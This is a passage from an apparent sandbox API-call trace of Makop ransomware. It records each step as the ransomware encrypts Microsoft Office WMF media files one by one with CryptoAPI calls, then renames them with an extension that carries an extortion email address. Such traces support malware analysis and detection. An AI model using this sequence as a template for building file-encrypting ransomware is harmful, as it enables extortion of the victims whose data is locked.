lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0161.845] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.845] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.845] GetProcessHeap () returned 0x48a0000 [0161.845] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.845] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.845] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.845] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.845] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.845] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.846] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.846] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.846] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.846] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3602, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3602, lpOverlapped=0x0) returned 1 [0161.848] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3610, dwBufLen=0x3610 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3610) returned 1 [0161.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.848] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3610, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3610, lpOverlapped=0x0) returned 1 [0161.849] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.849] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x36e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.849] SetEndOfFile (hFile=0xf0) returned 1 [0161.856] GetProcessHeap () returned 0x48a0000 [0161.856] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.856] GetProcessHeap () returned 0x48a0000 [0161.856] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.856] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0161.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.858] CloseHandle (hObject=0xf0) returned 1 [0161.858] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1 [0161.858] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF") returned 61 [0161.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.861] GetProcessHeap () returned 0x48a0000 [0161.861] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.861] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.861] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.861] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.861] GetProcessHeap () returned 0x48a0000 [0161.861] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.862] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.862] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.862] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.865] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.865] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.865] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.865] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.865] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.865] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.865] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.865] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.865] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8880, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8880, lpOverlapped=0x0) returned 1 [0161.867] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8880, dwBufLen=0x8880 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8880) returned 1 [0161.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.868] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8880, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8880, lpOverlapped=0x0) returned 1 [0161.868] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.869] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.869] SetEndOfFile (hFile=0xf0) returned 1 [0161.876] GetProcessHeap () returned 0x48a0000 [0161.876] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.876] GetProcessHeap () returned 0x48a0000 [0161.876] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.877] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0161.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.879] CloseHandle (hObject=0xf0) returned 1 [0161.879] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1 [0161.879] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF") returned 61 [0161.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.880] GetProcessHeap () returned 0x48a0000 [0161.880] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.880] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.881] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0161.885] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.885] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.885] GetProcessHeap () returned 0x48a0000 [0161.885] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.885] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.885] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.885] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.886] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.886] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.886] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.886] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.886] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.886] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.887] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.887] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x830a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x830a, lpOverlapped=0x0) returned 1 [0161.889] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8310, dwBufLen=0x8310 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8310) returned 1 [0161.889] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.889] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8310, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8310, lpOverlapped=0x0) returned 1 [0161.890] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x83e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.890] SetEndOfFile (hFile=0xf0) returned 1 [0161.898] GetProcessHeap () returned 0x48a0000 [0161.898] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.898] GetProcessHeap () returned 0x48a0000 [0161.899] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.899] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0161.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.901] CloseHandle (hObject=0xf0) returned 1 [0161.901] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1 [0161.901] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF") returned 61 [0161.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.906] GetProcessHeap () returned 0x48a0000 [0161.906] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.906] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.907] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0161.912] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.912] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.912] GetProcessHeap () returned 0x48a0000 [0161.912] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.912] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.912] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.912] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.912] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.912] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.912] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.913] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.913] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.913] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.913] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x870a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x870a, lpOverlapped=0x0) returned 1 [0161.915] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8710, dwBufLen=0x8710 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8710) returned 1 [0161.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8710, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8710, lpOverlapped=0x0) returned 1 [0161.916] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x87e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.916] SetEndOfFile (hFile=0xf0) returned 1 [0161.924] GetProcessHeap () returned 0x48a0000 [0161.924] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.924] GetProcessHeap () returned 0x48a0000 [0161.924] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.924] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0161.924] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.926] CloseHandle (hObject=0xf0) returned 1 [0161.927] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1 [0161.927] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF") returned 61 [0161.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.928] GetProcessHeap () returned 0x48a0000 [0161.928] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.928] CryptGenRandom (in: hProv=0x48bcc28, 